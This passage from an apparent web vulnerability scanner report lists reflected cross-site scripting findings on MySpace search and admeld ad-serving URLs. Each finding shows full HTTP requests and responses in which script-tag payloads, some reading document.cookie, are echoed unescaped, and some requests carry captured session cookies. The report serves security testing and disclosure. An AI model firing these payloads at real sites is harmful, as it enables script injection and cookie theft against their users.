This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}342b7"><script>alert(1)</script>3548056d000&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?} HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}342b7"><script>alert(1)</script>3548056d000&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}
Server: Microsoft-IIS/7.5
X-Server: 03e87069b8104d21ef9e39be5a1e502eb73f56a5dd2e50c5
Date: Mon, 07 Feb 2011 00:59:02 GMT
Content-Length: 403

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}342b7"><script>alert(1)</script>3548056d000&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}">
...[SNIP]...

3.782. http://searchservice.myspace.com/index.cfm [loc parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The value of the loc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1152"><script>alert(1)</script>7ee574b2bf was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}e1152"><script>alert(1)</script>7ee574b2bf&d={myspace:distance?} HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}e1152"><script>alert(1)</script>7ee574b2bf&d={myspace:distance?}
Server: Microsoft-IIS/7.5
X-Server: 47e6826d968670720fe73b4da6f7a931692998fe23cd2462
Date: Mon, 07 Feb 2011 00:59:04 GMT
Content-Length: 402

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}e1152"><script>alert(1)</script>7ee574b2bf&d={myspace:distance?}">
...[SNIP]...

3.783. http://searchservice.myspace.com/index.cfm [maxAge parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The value of the maxAge request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cf06"><script>alert(1)</script>6a53bbc664d was submitted in the maxAge parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}8cf06"><script>alert(1)</script>6a53bbc664d&loc={myspace:location?}&d={myspace:distance?} HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}8cf06"><script>alert(1)</script>6a53bbc664d&loc={myspace:location?}&d={myspace:distance?}
Server: Microsoft-IIS/7.5
X-Server: 03e87069b8104d21ef9e39be5a1e502eb73f56a5dd2e50c5
Date: Mon, 07 Feb 2011 00:59:03 GMT
Content-Length: 403

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}8cf06"><script>alert(1)</script>6a53bbc664d&loc={myspace:location?}&d={myspace:distance?}">
...[SNIP]...

3.784. http://searchservice.myspace.com/index.cfm [minAge parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The value of the minAge request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cfef"><script>alert(1)</script>1b9f8685062 was submitted in the minAge parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}8cfef"><script>alert(1)</script>1b9f8685062&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?} HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}8cfef"><script>alert(1)</script>1b9f8685062&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}
Server: Microsoft-IIS/7.5
X-Server: 645e22b4653711281748191a323db857f209f4a3bb2e957a
Date: Mon, 07 Feb 2011 00:59:03 GMT
Content-Length: 403

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}8cfef"><script>alert(1)</script>1b9f8685062&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}">
...[SNIP]...

3.785. http://searchservice.myspace.com/index.cfm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20b89"><script>alert(1)</script>0f76a7e4b41 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?20b89"><script>alert(1)</script>0f76a7e4b41=1 HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?20b89"><script>alert(1)</script>0f76a7e4b41=1
Server: Microsoft-IIS/7.5
X-Server: 645e22b4653711281748191a323db857f209f4a3bb2e957a
Date: Mon, 07 Feb 2011 00:58:57 GMT
Content-Length: 189

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?20b89"><script>alert(1)</script>0f76a7e4b41=1">here</a>.</h2></body></html>

3.786. http://searchservice.myspace.com/index.cfm [npic parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The value of the npic request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a419a"><script>alert(1)</script>74d050d421f was submitted in the npic parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}a419a"><script>alert(1)</script>74d050d421f&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?} HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}a419a"><script>alert(1)</script>74d050d421f&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}
Server: Microsoft-IIS/7.5
X-Server: 47e6826d968670720fe73b4da6f7a931692998fe23cd2462
Date: Mon, 07 Feb 2011 00:59:02 GMT
Content-Length: 403

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}a419a"><script>alert(1)</script>74d050d421f&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}">
...[SNIP]...

3.787. http://searchservice.myspace.com/index.cfm [pg parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The value of the pg request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca803"><script>alert(1)</script>b1e5ed43d8 was submitted in the pg parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}ca803"><script>alert(1)</script>b1e5ed43d8&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?} HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}ca803"><script>alert(1)</script>b1e5ed43d8&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}
Server: Microsoft-IIS/7.5
X-Server: 03e87069b8104d21ef9e39be5a1e502eb73f56a5dd2e50c5
Date: Mon, 07 Feb 2011 00:59:02 GMT
Content-Length: 402

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}ca803"><script>alert(1)</script>b1e5ed43d8&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}">
...[SNIP]...

3.788. http://searchservice.myspace.com/index.cfm [qry parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The value of the qry request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cfd9"><script>alert(1)</script>46bd7712f31 was submitted in the qry parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}4cfd9"><script>alert(1)</script>46bd7712f31&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?} HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}4cfd9"><script>alert(1)</script>46bd7712f31&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}
Server: Microsoft-IIS/7.5
X-Server: 47e6826d968670720fe73b4da6f7a931692998fe23cd2462
Date: Mon, 07 Feb 2011 00:59:01 GMT
Content-Length: 403

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}4cfd9"><script>alert(1)</script>46bd7712f31&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}">
...[SNIP]...

3.789. http://searchservice.myspace.com/index.cfm [type parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The value of the type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfbc5"><script>alert(1)</script>f1e4f4279ce was submitted in the type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?fuseaction=sitesearch.results&type=Peopledfbc5"><script>alert(1)</script>f1e4f4279ce&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?} HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=Peopledfbc5"><script>alert(1)</script>f1e4f4279ce&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}
Server: Microsoft-IIS/7.5
X-Server: 03e87069b8104d21ef9e39be5a1e502eb73f56a5dd2e50c5
Date: Mon, 07 Feb 2011 00:59:01 GMT
Content-Length: 403

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=Peopledfbc5"><script>alert(1)</script>f1e4f4279ce&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}">
...[SNIP]...

3.790. http://tag.admeld.com/ad/iframe/177/ignus/300x250/ign_front [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/177/ignus/300x250/ign_front

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62e3b"><script>alert(1)</script>2c8d122be43 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/177/ignus/300x250/ign_front?t=1297040517860&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fcheats.ign.com%2F%3F7cd43%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ebc6f5a7fbe9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F3 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d555662e3b"><script>alert(1)</script>2c8d122be43

Response

3.791. http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/185/thechive_sites/160x600/thechive_us

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30605"><script>alert(1)</script>37ce9aa723a was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045538326&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3Fign105ab01%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E958cbd566d4&refer=http%3A%2F%2Fburp%2Fshow%2F20 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d555630605"><script>alert(1)</script>37ce9aa723a; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTg1LCAgc2l0ZTogICAgICAgICAidGhlY2hpdmVfc2l0ZXMiLCAgYWQ6ICAgICAgICAgICAyMDI0MzMwLCAgbmV0d29yazogICAgICAicmV2c2NpZW5jZSIsICBzaXplOiAgICAgICAgICIxNjB4NjAwIiwgIGZyZXE6ICAgICAgICAgIjEtNSIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiYTUxNDc2NzEtZjk1NC00MTUxLWE3MDUtMDJhNmRlYjRkNTQwIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NjMwNjA1Ij48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+MzdjZTlhYTcyM2EiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgInRoZWNoaXZlX3VzIiwgIGRpdjogICAgICAgICAgImE1MTQ3NjcxLWY5NTQtNDE1MS1hNzA1LTAyYTZkZWI0ZDU0MCIsICB1cmw6ICAgICAgICAgICJodHRwOi8vdGhlY2hpdmUuY29tLyIsICBlbGFwc2VkOiAgICAgIDAsICBkZWNpc2lvbjogICAgICJhZCIsICBpbXA6ICAgICAgICAgIDEsICBuZXR3b3JrX2lkOiAgIDQ5LCAgYWNjb3VudF9pZDogICA2MDU3OSwgIG5ldHdvcmtfbmFtZTogIkF1ZGllbmNlU2NpZW5jZSIsICBwdWJsaXNoZXJfbmFtZTogInJvYmVybWVkaWEiLCAgZWNwbTogICAgICAgICAiMC40MiIsICBmZWNwbTogICAgICAgICIwLjQyIiwgIGZpbGw6ICAgICAgICAgIjI4LjIwIiwgIHBsYWNlbWVudDogICAgInRoZWNoaXZlX3VzIiwgIHJ1bGU6ICAgICAgICAgInRoZWNoaXZlX3VzIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFt7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MzA0OTg3LCAiYnV5IjoxNzcsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiTWVkaWFNYXRoIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6Mjk5MDQ0LCAiYnV5Ijo1MDIsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6Mjk3MjAzLCAiYnV5IjoxMjQyLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkFjdWl0eSBBZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxNDkyNjA5LCAiYnV5Ijo1MjA4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkVxYWRzIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTcxMjgyNSwgImJ1eSI6NDI1MCwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnOSJ9
Content-Length: 2178
Content-Type: text/html
Date: Mon, 07 Feb 2011 02:25:14 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0; padding:0">

<div style="width:160px,height:600px;margin:0;border:0">

...[SNIP]...
<img width="0" height="0" src="http://p.brilig.com/contact/bct?pid=21008FFD-5920-49E9-AC20-F85A35BDDE15&_ct=pixel&puid=6acccca4-d0e4-464e-a824-f67cb28d555630605"><script>alert(1)</script>37ce9aa723a&REDIR=http://tag.admeld.com/pixel?admeld_dataprovider_id=27&external_user_id=1&_m=1&admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d555630605">
...[SNIP]...

3.792. http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/185/thechive_sites/160x600/thechive_us

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73861"><script>alert(1)</script>c289f861636 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045538326&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3Fign105ab01%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E958cbd566d4&refer=http%3A%2F%2Fburp%2Fshow%2F20 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d555673861"><script>alert(1)</script>c289f861636; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
